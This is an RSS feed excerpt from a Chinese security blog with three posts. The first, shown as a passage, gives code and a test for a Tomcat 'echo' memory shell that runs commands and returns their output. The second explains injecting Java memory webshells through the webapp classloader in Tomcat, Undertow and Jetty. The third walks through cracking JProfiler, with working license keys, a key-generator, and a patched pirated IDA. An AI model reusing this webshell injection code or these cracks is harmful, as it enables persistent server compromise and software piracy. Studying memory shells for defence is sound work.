    sleep(1);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回显马调整：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (data != null &amp;amp;&amp;amp; !data.isEmpty()) {
    PrintWriter writer = (PrintWriter) invokeMethod(response, &quot;getWriter&quot;, null, null);
    try {
        writer.write(run(data));
    } catch (Throwable e) {
        e.printStackTrace(writer);
    }
    invokeMethod(response, &quot;setStatus&quot;, new Class[]{Integer.TYPE}, new Object[]{201}); // 这儿设置新的状态码
    writer.flush();
    writer.close();
    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;新写一个单测，用于回显马利用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class EchoTest {
    @Test
    @SneakyThrows
    void test() {
        String url = &quot;http://localhost:8082/app&quot;;
        String content = DetectionTool.getBase64Class(TomcatEcho.class);
        RequestBody requestBody = new FormBody.Builder()
                .add(&quot;data&quot;, content)
                .build();
        Request request = new Request.Builder()
                .header(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;)
                .header(&quot;X-Echo&quot;, &quot;id&quot;)
                .url(url + &quot;/b64&quot;).post(requestBody)
                .build();
        try (Response response = new OkHttpClient().newCall(request).execute()) {
            assertEquals(201, response.code());
            assertThat(response.body().string(), anyOf(
                    containsString(&quot;uid=&quot;)
            ));
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动靶场，并开启压测脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;k6 run k6test.js 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行回显马单测成功，且压测数据无异常&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;EchoTest &amp;gt; test() PASSED
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;❯ k6 run asserts/k6test.js

         /\      Grafana   /‾‾/  
    /\  /  \     |\  __   /  /   
   /  \/    \    | |/ /  /   ‾‾\ 
  /          \   |   (  |  (‾)  |
 / __________ \  |_|\_\  \_____/ 

     execution: local
        script: asserts/k6test.js
        output: -

     scenarios: (100.00%) 1 scenario, 10 max VUs, 5m30s max duration (incl. graceful stop):
              * default: 10 looping VUs for 5m0s (gracefulStop: 30s)
  █ TOTAL RESULTS 

    checks_total.......................: 2820    9.398366/s
    checks_succeeded...................: 100.00% 2820 out of 2820
    checks_failed......................: 0.00%   0 out of 2820

    ✓ status is 200

running (5m00.1s), 00/10 VUs, 2820 complete and 0 interrupted iterations
default ✓ [======================================] 10 VUs  5m0s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;额外的发现，processor 这个对象就是 RequestInfo，注释说 without having to deal with synchronization，不用关系线程安全的问题，我测试了一下当前线程下只会有一个能用的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Structure holding the Request and Response objects. It also holds statistical information about request processing
 * and provide management information about the requests being processed. Each thread uses a Request/Response pair that
 * is recycled on each request. This object provides a place to collect global low-level statistics - without having to
 * deal with synchronization ( since each thread will have it&apos;s own RequestProcessorMX ).
 *
 * @author Costin Manolache
 */
public class RequestInfo {
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此回显马也可以改为如下：（不推荐，在 Tomcat 低版本不可用）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (Object processor : processors) {
    Integer stage = (Integer) getFieldValue(processor, &quot;stage&quot;);
    if (stage == 7) { // org.apache.coyote.Constants#STAGE_ENDED
        continue;
    }
    // org.apache.coyote.Request
    Object coyoteRequest = getFieldValue(processor, &quot;req&quot;);
    // org.apache.catalina.connector.Request
    Object request = invokeMethod(coyoteRequest, &quot;getNote&quot;, new Class[]{Integer.TYPE}, new Object[]{1});
    // org.apache.catalina.connector.Response
    Object response = invokeMethod(request, &quot;getResponse&quot;, null, null);
    String data = &quot;id&quot;; // 直接将执行命令内置在字节码中
    PrintWriter writer = (PrintWriter) invokeMethod(response, &quot;getWriter&quot;, null, null);
    try {
        writer.write(run(data));
    } catch (Throwable e) {
        e.printStackTrace(writer);
    }
    invokeMethod(response, &quot;setStatus&quot;, new Class[]{Integer.TYPE}, new Object[]{201});
    writer.flush();
    writer.close();
    return;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>任意类加载环境下注入内存马</title><link>https://reajason.eu.org/writing/whichclassloaderforshell/</link><guid isPermaLink="true">https://reajason.eu.org/writing/whichclassloaderforshell/</guid><pubDate>Wed, 28 May 2025 20:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;常见中间件框架内存马生成平台：&lt;a href=&quot;https://github.com/ReaJason/MemShellParty&quot;&gt;MemShellParty&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;在 JVM 中，每个类都有它所属的类加载器，在 Java 内存马注入场景下，我们会制作一个恶意类通过 ClassLoader.defineClass 方法注入到 JVM 中，然后通过一些特定方法注册到 Web 组件上以供我们访问。以下是 defineClass 的具体代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private Object getShell(Object context) throws Exception {
    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
    if (classLoader == null) {
        classLoader = context.getClass().getClassLoader();
    }
    try {
        return classLoader.loadClass(getClassName()).newInstance();
    } catch (Exception e) {
        byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
        Method defineClass = ClassLoader.class.getDeclaredMethod(&quot;defineClass&quot;, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        Class&amp;lt;?&amp;gt; clazz = (Class&amp;lt;?&amp;gt;) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
        return clazz.newInstance();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起来非常的完善，兼容性很强的样子，先尝试获取上下文类加载器中注入，上下文类加载没有就注入到 context 的类加载器中。实际测试起来就会发现有些场景下 &lt;code&gt;context.getClass().getClassLoader()&lt;/code&gt; 根本不行，而 &lt;code&gt;Thread.currentThread().getContextClassLoader()&lt;/code&gt; 这种依赖请求线程，如果在非请求线程肯定是寄的，例如：&lt;a href=&quot;https://flowerwind.github.io/2023/04/17/%E8%AE%B0%E6%9F%90%E6%AC%A1%E5%AE%9E%E6%88%98hessian%E4%B8%8D%E5%87%BA%E7%BD%91%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8-md/&quot;&gt;记某次实战 hessian 不出网反序列化利用&lt;/a&gt; 作者为了成功打上内存马还特地找了一个有上下文类加载器的 gadget。&lt;/p&gt;
&lt;p&gt;每个类都有我们 &lt;strong&gt;想要它在&lt;/strong&gt; 或是 &lt;strong&gt;它应该在&lt;/strong&gt; 的类加载器中，为了去除对 &lt;code&gt;Thread.currentThread().getContextClassLoader()&lt;/code&gt; 的依赖，我一直在找寻恶意类该放置在哪个 ClassLoader 中（自我写全中间件自动化测试开始，我就察觉到了这个优化点，时不时看看但一直没找到）。&lt;/p&gt;
&lt;p&gt;而导火索就是最近我在写 ASM 通用内存马 Agent，为了通用，我就需要将恶意类单独拆成一个类，而不是用 ASM 直接编织到指定的类上（因为用 ASM 写 Java Code 太复杂了）。最终我敲定的代码植入效果为如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain){
    if(new EvilClass().equals(new Object[]{request, response, chain})){
        return;
    }   
    // other business code
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;期间我还尝试了如下，因为 Agent 默认会由 ClassLoader.getSystemClassLoader() 加载，所以我们可以直接指定其加载我们的恶意类，不过很遗憾的是在高版本 JDK 中部分中间件模块限制，不允许我们访问指定类，不够通用。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain){
    if(Class.forName(&quot;org.example.EvilClass&quot;, true, ClassLoader.getSystemClassLoader()).newInstance().equals(new Object[]{request, response, chain})){
        return;
    }   
    // other business code
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而就是在这个找寻通用 ASM Agent 编写方式的过程中，让我想到了一个古老的类加载问题，在这里我找到了恶意类应该去的地方。&lt;/p&gt;
&lt;h2&gt;ApplicationFilterConfig&lt;/h2&gt;
&lt;p&gt;在 Tomcat 注入 Filter 内存马时，有时候会莫名其妙报 ClassNotFoundException 但是内存马已经能 work 了，所以在测试的时候直接跳过，我甚至猜的原因写了个可能（主打一个测试用例能通过了，其他报错都是虚无），但其实这样做不对，在测试过程中任何 warning 都应该关注（其实还有许多我当时没精力处理的 warning）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;try {
    Object filterConfig = constructors[0].newInstance(context, filterDef);
    Map filterConfigs = (Map) getFieldValue(context, &quot;filterConfigs&quot;);
    filterConfigs.put(getClassName(), filterConfig);
    System.out.println(&quot;filter inject success&quot;);
} catch (Exception e) {
    // 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象，可能在目标应用会加载不到
    if (!(e.getCause() instanceof ClassNotFoundException)) {
        throw e;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就在我去找这块报错到底是为何抛出来的时候，我发现了一切的真相。恰好我此时正在调试 Tomcat5 的环境，所以在 Tomcat5 catalina.jar 里边的 &lt;code&gt;org.apache.catalina.core.ApplicationFilterConfig#getFilter&lt;/code&gt; 发现了如下代码（低版本没封装，看起来相对比较容易和直观）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ApplicationFilterConfig
Filter getFilter() throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException {
    if (this.filter != null) {
        return this.filter;
    } else {
        String filterClass = this.filterDef.getFilterClass();
        ClassLoader classLoader = null;
        if (filterClass.startsWith(&quot;org.apache.catalina.&quot;)) {
            classLoader = this.getClass().getClassLoader();
        } else {
            classLoader = this.context.getLoader().getClassLoader();
        }

        Class clazz = classLoader.loadClass(filterClass);
        this.filter = (Filter)clazz.newInstance();
        // ...
        return this.filter;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到类名以 &lt;code&gt;org.apache.catalina.&lt;/code&gt; 开头的由当前 class 的类加载器加载，否则使用 &lt;code&gt;context.getLoader().getClassLoader()&lt;/code&gt; 进行加载，刚好这个 context 就是我们通过线程遍历拿到的 StandardContext。在高版本 Tomcat 就是稍微封装了一下，实际也是一样的，以下是高版本的代码片段。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ApplicationFilterConfig
Filter getFilter() throws ClassCastException, ClassNotFoundException, IllegalAccessException,
        InstantiationException, ServletException, InvocationTargetException, NamingException,
        IllegalArgumentException, NoSuchMethodException, SecurityException {
    if (this.filter != null)
        return this.filter;
    String filterClass = filterDef.getFilterClass();
    this.filter = (Filter) getInstanceManager().newInstance(filterClass);
    initFilter();
    return this.filter;
}

// DefaultInstanceManager
protected final ClassLoader classLoader;

public DefaultInstanceManager(Context context, Map&amp;lt;String,Map&amp;lt;String,String&amp;gt;&amp;gt; injectionMap,
            org.apache.catalina.Context catalinaContext, ClassLoader containerClassLoader) {
    classLoader = catalinaContext.getLoader().getClassLoader();
}

@Override
public Object newInstance(String className)
        throws IllegalAccessException, InvocationTargetException, NamingException, InstantiationException,
        ClassNotFoundException, IllegalArgumentException, NoSuchMethodException, SecurityException {
    // classLoader 也是通过初始化参数用的 context.getLoader().getClassLoader();
    Class&amp;lt;?&amp;gt; clazz = loadClassMaybePrivileged(className, classLoader);
    return newInstance(clazz.getConstructor().newInstance(), clazz);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到 &lt;code&gt;context.getLoader().getClassLoader()&lt;/code&gt;，很自然的就想知道它是什么时候 set 的以及具体值是什么，在 &lt;code&gt;org.apache.catalina.core.StandardContext#startInternal&lt;/code&gt; 就能找到，它就是我们想找的与请求线程上下文加载器一致的 WebappLoader。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Override
protected synchronized void startInternal() throws LifecycleException {
    // ...
    if (getLoader() == null) {
        WebappLoader webappLoader = new WebappLoader(getParentClassLoader());
        webappLoader.setDelegate(getDelegate());
        setLoader(webappLoader);
    }
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我有 16 个中间件需要适配，要是这是一个特殊情况，我的适配工作恐怕有点大，不过由于这些 Java 中间件都是 Servlets 容器，我就想起了 Servlets 规范，我在 Tomcat 中找到了 &lt;code&gt;org.apache.catalina.core.ApplicationContext&lt;/code&gt; 它是 ServletContext 实现类，通过查看当前类是否有 ClassLoader 相关的函数调用，找到下面这个。可以看到默认就是 &lt;code&gt;context.getLoader().getClassLoader()&lt;/code&gt; 和前面一致。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Override
public ClassLoader getClassLoader() {
    ClassLoader result = context.getLoader().getClassLoader();
    if (Globals.IS_SECURITY_ENABLED) {
        ClassLoader tccl = Thread.currentThread().getContextClassLoader();
        ClassLoader parent = result;
        while (parent != null) {
            if (parent == tccl) {
                break;
            }
            parent = parent.getParent();
        }
        if (parent == null) {
            System.getSecurityManager().checkPermission(
                    new RuntimePermission(&quot;getClassLoader&quot;));
        }
    }

    return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而且这个居然是 @Override 修饰的，所有肯定 Servlets 规范规定了什么东西。直接看接口文档，是获取与应用相关联的 ClassLoader，不过 Servlet 3.0 才有，意味着我的超强兼容性的内存马生成工具 &lt;a href=&quot;https://github.com/ReaJason/MemShellParty&quot;&gt;MemShellParty&lt;/a&gt; 指定不能直接调用了，if else 一下。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ServletContext
/**
 * Get the web application class loader associated with this ServletContext.
 *
 * @return The associated web application class loader
 *
 * @throws UnsupportedOperationException    If called from a
 *    {@link ServletContextListener#contextInitialized(ServletContextEvent)}
 *    method of a {@link ServletContextListener} that was not defined in a
 *    web.xml file, a web-fragment.xml file nor annotated with
 *    {@link javax.servlet.annotation.WebListener}. For example, a
 *    {@link ServletContextListener} defined in a TLD would not be able to
 *    use this method.
 * @throws SecurityException if access to the class loader is prevented by a
 *         SecurityManager
 * @since Servlet 3.0
 */
public ClassLoader getClassLoader();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ServletContext#getClassLoader&lt;/h2&gt;
&lt;p&gt;有了这个之后，我们的内存马 defineClass 就改成了如下方式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Servlet 高版本直接使用 getClassLoader 方法，低版本就反射调用具体方法。
private ClassLoader getWebAppClassLoader(Object context) {
    try {
        return ((ClassLoader) invokeMethod(context, &quot;getClassLoader&quot;, null, null));
    } catch (Exception e) {
        Object loader = invokeMethod(context, &quot;getLoader&quot;, null, null);
        return ((ClassLoader) invokeMethod(loader, &quot;getClassLoader&quot;, null, null));
    }
}

@SuppressWarnings(&quot;all&quot;)
private Object getShell(Object context) throws Exception {
    ClassLoader webAppClassLoader = getWebAppClassLoader(context);
    try {
        return webAppClassLoader.loadClass(getClassName()).newInstance();
    } catch (Exception e) {
        byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
        Method defineClass = ClassLoader.class.getDeclaredMethod(&quot;defineClass&quot;, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        Class&amp;lt;?&amp;gt; clazz = (Class&amp;lt;?&amp;gt;) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
        return clazz.newInstance();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Undertow 在 &lt;code&gt;io.undertow.servlet.spec.ServletContextImpl#getClassLoader&lt;/code&gt; 中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Override
public ClassLoader getClassLoader() {
    return getDeploymentInfo().getClassLoader();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;private ClassLoader getWebAppClassLoader(Object context) throws Exception {
    try {
        return ((ClassLoader) invokeMethod(context, &quot;getClassLoader&quot;, null, null));
    } catch (Exception e) {
        Object deploymentInfo = getFieldValue(context, &quot;deploymentInfo&quot;);
        return ((ClassLoader) invokeMethod(deploymentInfo, &quot;getClassLoader&quot;, null, null));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Jetty 在 &lt;code&gt;org.eclipse.jetty.server.handler.ContextHandler#getClassLoader&lt;/code&gt; 中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public ClassLoader getClassLoader()
{
    return _classLoader;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;public ClassLoader getWebAppClassLoader(Object context) throws Exception {
    try {
        return ((ClassLoader) invokeMethod(context, &quot;getClassLoader&quot;));
    } catch (Exception e) {
        return ((ClassLoader) getFieldValue(context, &quot;_classLoader&quot;));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等等其他中间件都在 https://github.com/ReaJason/MemShellParty 中已均有实现。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;写代码的过程中，总会遇到各种各样的问题，碰到有些棘手的问题但是又有临时解决方式时我们可以加个优化 TODO，日后有时间再深入，时不时看看，灵感来了就有更好地解决办法。&lt;/p&gt;
&lt;p&gt;我希望自己的工作是有意义的，就好比这个改动，我希望能因此适应实战中更多的漏洞场景，同时我也希望我能让 &lt;a href=&quot;https://github.com/ReaJason/MemShellParty&quot;&gt;MemShellParty&lt;/a&gt; 变得更有实战价值和教学意义。&lt;/p&gt;
&lt;p&gt;护网行动在即，在 Web 漏洞层出不穷的今天，RASP 作为应用的最后一道防线，其提供了动态类加载分析、恶意类扫描、恶意类清除等功能时刻防范内存马注入和利用行为，并提供常见的 Web 漏洞防护，推荐使用 &lt;a href=&quot;https://www.boundaryx.com/category/product/adr&quot;&gt;靖云甲 RASP&lt;/a&gt; 加固高风险应用。&lt;/p&gt;
</content:encoded></item><item><title>记录 JProfiler V15 破解</title><link>https://reajason.eu.org/writing/jprofilerv15crackedwithida/</link><guid isPermaLink="true">https://reajason.eu.org/writing/jprofilerv15crackedwithida/</guid><pubDate>Thu, 24 Apr 2025 01:11:55 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;JProfiler V15/v16 永久许可证密钥（姓名/公司随便填）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// v15
S-J15-ReaJason#999999-pb3u8s3ugg83x#5242

// v16
S-J16-ReaJason#999999-3sc94wwypmqfru#39115
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以前版本的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// v13
S-NEO_PENG#890808-g4tibemn0jen#37bb9

// v14
S-J14-NEO_PENG#890808-1jqjtz91lywcp9#23624
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;最近一直在开发一款策略引擎，因为快到 deadline，所以需要开始测试性能了，于是我打开了尘封已久的 &lt;a href=&quot;https://www.ej-technologies.com/jprofiler/download&quot;&gt;JProfiler&lt;/a&gt;，很久不用的软件我都习惯性地去官网看一下有没有新版顺便更新一下，刚好看到 V15 出来了（之前一直用的 V14，激活码用的是 &lt;a href=&quot;https://zhile.io/2022/02/22/jprofiler-license.html&quot;&gt;zhile.io/jprofiler-license.html&lt;/a&gt; 提供的）。&lt;/p&gt;
&lt;p&gt;我更新好了 V15 输入 V14 提供的激活码，可惜并不能用。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;之前博客的作者弄了个 LinuxDo 论坛，论坛上搜也没有最新的，搜索引擎上搜也没有最新的，随后去了我之前常住的论坛 52pojie，搜到了一篇看起来特别有实操性的分析文章：&lt;a href=&quot;https://www.52pojie.cn/forum.php?mod=viewthread&amp;amp;tid=1993300&quot;&gt;jprofiler 最新版逆向分析&lt;/a&gt;。于是开启了我的实操之路。&lt;/p&gt;
&lt;h2&gt;IDEA 调试&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;由于害怕环境问题导致中途放弃，我特意打开我的 Windows 跟了一遍教程（虽然实际上是因为 MacOS 上 IDA 功能不全，没法完成，不得不用 Windows）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;根据大佬的帖子，部分校验代码在 jprofiler.jar 中，根据我的安装位置：&lt;code&gt;C:\Program Files\jprofiler15\bin\jprofiler.jar&lt;/code&gt;，打开任意 IDEA 项目，移到项目根目录，并添加到库中，方便之后的调试。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;打开 IDEA，添加一个新的运行配置，找到远程 JVM 调试，复制调试参数：&lt;code&gt;-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005&lt;/code&gt;，然后点 OK。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;打开 JProfiler 添加调试参数的文件，安装位置不同可能会不一样，也就是添加 JVM 参数的地方：&lt;code&gt;C:\Program Files\jprofiler15\bin\jprofiler.vmoptions&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# For 32-bit JVMs, raise the -Xmx value carefully because otherwise snapshot
# files cannot be memory mapped anymore and all operations slow down.
-Xmx2560m
-Xss2m
-include-options ${USERPROFILE}\.jprofiler15\jprofiler.vmoptions
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后重启 JProfiler，重新到输入许可证的地方，先填好不按确定按钮，根据大佬的分析，按钮的触发事情在 awt 中都是继承自 &lt;code&gt;java.awt.event.ActionListener&lt;/code&gt;，我们在 &lt;code&gt;java.awt.event.ActionListener#actionPerformed&lt;/code&gt; 这个接口方法这儿打上断点，并开启调试，然后去按输入许可证那儿的确认按钮。
一开始进入的应该是 AbstractButton 的类里面，一直 step into 就能进入到所调用的真正的 actionPerformed 实现了，可以看到和大佬给出的一模一样我们就是进对了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;往下一直跟进，主要逻辑在 &lt;code&gt;this.a.validateAndSave()&lt;/code&gt;、&lt;code&gt;this.a(var3, var4, var2, var1, var5)&lt;/code&gt;，我们可以找到下面这段代码。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;针对第一个 &lt;code&gt;!a(var2)&lt;/code&gt;，跟进去，可以看到 V15 版本不能用 J14 了，要使用 J15，第一个没过直接寄了，所以我们改一下我们的许可证变为 &lt;code&gt;S-J15-NEO_PENG#890808-1jqjtz91lywcp9#23624&lt;/code&gt;，我们在 return !a(var2) &amp;amp;&amp;amp; (a(var5, var2.a() + var4, 37, 51, 8) || a(var5, var2.a() + var4, 83, 52, 3)) ? var2.e() : this.c(var1); 打上断点，重新输入新的许可证点击确认。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private static boolean a(o var0) {
    String var1 = var0.c();
    if (var1 != null &amp;amp;&amp;amp; !var1.isEmpty()) {
        return !var1.contains(&quot;-J15-&quot;);
    } else {
        return false;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后面 (a(var5, var2.a() + var4, 37, 51, 8) || a(var5, var2.a() + var4, 83, 52, 3)) 两个调用的同一个函数的两种不同验证，看起来可能许可证分发可能就有两种方式。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;大佬已经给出了计算这个 # 后面的代码，我们直接 copy 使用即可，生成出来 &lt;code&gt;S-J15-NEO_PENG#890808-1jqjtz91lywcp9#47510&lt;/code&gt;，把断点去掉之后，啪的一下，很快啊，直接就行了，不过我看到 NEO 这种像博客作者 ID 的东西，我就想能不能改成我的，所以我就生成了 &lt;code&gt;S-J15-ReaJason#999999-1jqjtz91lywcp9#70320&lt;/code&gt; 一样也是可以通过的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Hello {
    public static String encode(String var1){
        // 有两组数字都可以的
        int var2 = 83; // 37
        int var3 = 52; // 51
        int var4 = 3; // 8
        char[] var5 = var1.toCharArray();
        int var6 = 0;
        char[] var7 = var5;
        int var8 = var5.length;
        for(int var9 = 0; var9 &amp;lt; var8; ++var9) {
            char var10 = var7[var9];
            var6 += var10;
        }
        String var10000 = String.valueOf(var6 % var2);
        String var11 = var10000 + var6 % var3 + var6 % var4;
        return var1+&quot;#&quot;+var11;
    }
    public static void main(String[] args) {
        System.out.println(encode(&quot;S-J15-ReaJason#999999-1jqjtz91lywcp9&quot;));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来到了重头戏，我们要开始跟着教程分析 dll 里面的代码了，在 IDEA 里面写一个简单的程序运行就行，JProfiler 注入的时候就会挂点，我们就有测试环境了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class ForLoop {
    public static void main(String[] args) {
        System.out.println(&quot;pid: &quot; + ManagementFactory.getRuntimeMXBean().getName().split(&quot;@&quot;)[0]);
        while (true) {
            try {
                Thread.sleep(5000);
                System.out.println(&quot;Hello World&quot;);
            } catch (InterruptedException ignored) {
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;IDA 分析与调试&lt;/h2&gt;
&lt;h3&gt;IDA 安装&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;网上 IDA 版本很多，直接最新的 9.1 就好，当然可能这篇文章写完又有新的了，直接最新的。以下是 9.1 的安装方式。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;下载可以直接从 &lt;a href=&quot;https://www.52pojie.cn/forum.php?mod=viewthread&amp;amp;tid=2014013&amp;amp;highlight=ida%2B9.1&quot;&gt;52pojie&lt;/a&gt; 上下，也可以 TG 私信我，我发给你（我在我 TG 群存了一份）。&lt;/li&gt;
&lt;li&gt;一直下一步下一步安装完整之后，下载 &lt;a href=&quot;https://gist.github.com/ReaJason/466ab4f35171b2dcca1c075ce5ee1195&quot;&gt;patch.py&lt;/a&gt; 脚本移动到 IDA 的安装目录，我的是 &lt;code&gt;C:\Program Files\IDA Professional 9.1&lt;/code&gt; 目录，在当前目录下执行 &lt;code&gt;python patch.py&lt;/code&gt;，会生成 &lt;code&gt;ida.dll.patch&lt;/code&gt; 和 &lt;code&gt;ida32.dll.patch&lt;/code&gt;，将 &lt;code&gt;ida.dll&lt;/code&gt; 和 &lt;code&gt;ida32.dll&lt;/code&gt; 都加上 &lt;code&gt;.bak&lt;/code&gt;，然后把 patch 后缀的文件去掉即可生效。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;jprofilerti.dll 分析&lt;/h3&gt;
&lt;p&gt;打开 IDA，选 GO，然后将 &lt;code&gt;C:\Program Files\jprofiler15\bin\windows-x64\jprofilerti.dll&lt;/code&gt; 移动到下载目录（因为 C 盘这个目录权限会有问题），并将其直接拖到 IDA 里面去，会弹框直接默认 OK 就行，等待左下角不在变，显示分析完成就可以开始操作了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;先来了解一下简单的操作，这个我当时蒙了蛮久，因为我也第一次打开这个软件，在 IDA View-A 这个视图下按空格可以切换汇编码和 Graph 两种视图，Tab 栏可以看到还有 Hex-View 1 啥的。&lt;/p&gt;
&lt;p&gt;接下来根据大佬的指示，Ctrl+F 打开搜索框，框框全选，搜索 Aborting。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;等待搜索结束，可以看到搜到一些东西，双击第一个 &lt;code&gt;ERROR: invalid license key. Aboring&lt;/code&gt;，眼前一片明亮，和大佬给出的简直一模一样。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:00000001800690A0 loc_1800690A0:                          ; CODE XREF: sub_180068FD0+CE↑j
.text:00000001800690A0                                         ; DATA XREF: sub_180068FD0:jpt_18006909E↓o
.text:00000001800690A0                 mov     rdx, [rdi+28h]  ; jumptable 000000018006909E case 1
.text:00000001800690A4                 lea     r8, [rdi+40h]
.text:00000001800690A8                 mov     rcx, [rdi+38h]
.text:00000001800690AC                 call    sub_180087490
.text:00000001800690B1                 test    al, al
.text:00000001800690B3                 jnz     short loc_1800690C7
.text:00000001800690B5                 lea     rcx, aErrorInvalidLi ; &quot;ERROR: Invalid license key. Aborting.&quot;
.text:00000001800690BC                 call    sub_1800930F0
.text:00000001800690C1                 mov     word ptr [rdi+8], 101h
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是，下面这一些东西，我找了两三个小时我都没找到它到底在哪里！！！！我几乎快要放弃了，我甚至还全局搜了一下 &lt;code&gt;aLjavaLangStrin&lt;/code&gt; 和 &lt;code&gt;strncmp&lt;/code&gt;，我并没有找到一个很像原文的地方。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;我离开了键盘，趴到了床上，打开了我的手机玩了几把手游 QQ 飞车，飞了几把，给我的车神冲了冲分，我顿时感觉神清气爽，我还能再战。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;我到处点，捣鼓捣鼓，我还学会了怎么把汇编代码反编译成代码，就是在 IDA View-A 这个 tab 栏中直接按 TAB，就会提示说将会进行反编译代码，但是我还是看不懂，根本看不懂。
当在我双击 strncmp 之后，我发现这儿居然能打断点，我的思路就发生了变化，等程序运行到 call 那个关键函数之后，再在这儿打断点，比对的其中一个就是我要的值，二话不说直接开干。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;动态调试&lt;/h3&gt;
&lt;p&gt;因为是 sub_180087490 这个函数调用使得 Aborting 的，所以直接在这儿打个断点。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
